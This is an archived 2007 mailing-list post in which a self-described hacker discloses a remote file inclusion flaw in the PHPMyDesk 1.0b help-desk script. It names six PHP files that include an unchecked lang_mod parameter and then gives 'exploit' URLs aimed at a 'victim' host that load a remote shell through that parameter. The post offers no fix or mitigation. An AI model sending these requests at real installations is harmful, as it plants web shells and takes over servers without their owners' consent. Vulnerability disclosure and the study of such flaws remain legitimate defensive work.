PHPMyDesk Beta Release 1.0b ==> RFI
- From: titanichacker titanichacker <titanichacker@xxxxxxx>
- Date: Thu, 7 Jun 2007 22:22:01 +0000
script:PHPMyDesk Beta Release 1.0b ==> RFI
dir url:http://www.cynux.com/phpmydesk/
author: titanichacker
contact:the-modest-pirate@xxxxxxxxxxx
H.P : http://hack-teach.com & mohandko.com & tryag.com
bug in:
./index.php
include($lang_mod);
./login.php
include($lang_mod);
./logout.php
include($lang_mod);
./subticket.php
include($lang_mod);
./viewall.php
include($lang_mod);
./viewticket.php
include($lang_mod);
exploit:
httpL//victim/index.php?lang_mod=[shell]
httpL//victim/login.php?lang_mod=[shell]
httpL//victim/logout.php?lang_mod=[shell]
httpL//victim/viewall.php?lang_mod=[shell]
httpL//victim/viewticket.php?lang_mod=[shell]
thanx
cold-zero & mohandko & drbaka & arb-hawk & tryag & xp10 & milw0rm
_________________________________________________________________
Play free games, earn tickets, get cool prizes! Join Live Search Club.
http://club.live.com/home.aspx?icid=CLUB_wlmailtextlink
- Prev by Date: Zen Help Desk ==> Version 2.1 Bypass/
- Next by Date: CSIS Advisory: BlueCoat K9 Web Protection 3.2.36 Overflow
- Previous by thread: Zen Help Desk ==> Version 2.1 Bypass/
- Next by thread: Re: PHPMyDesk Beta Release 1.0b ==> RFI
- Index(es):
Relevant Pages
|
|
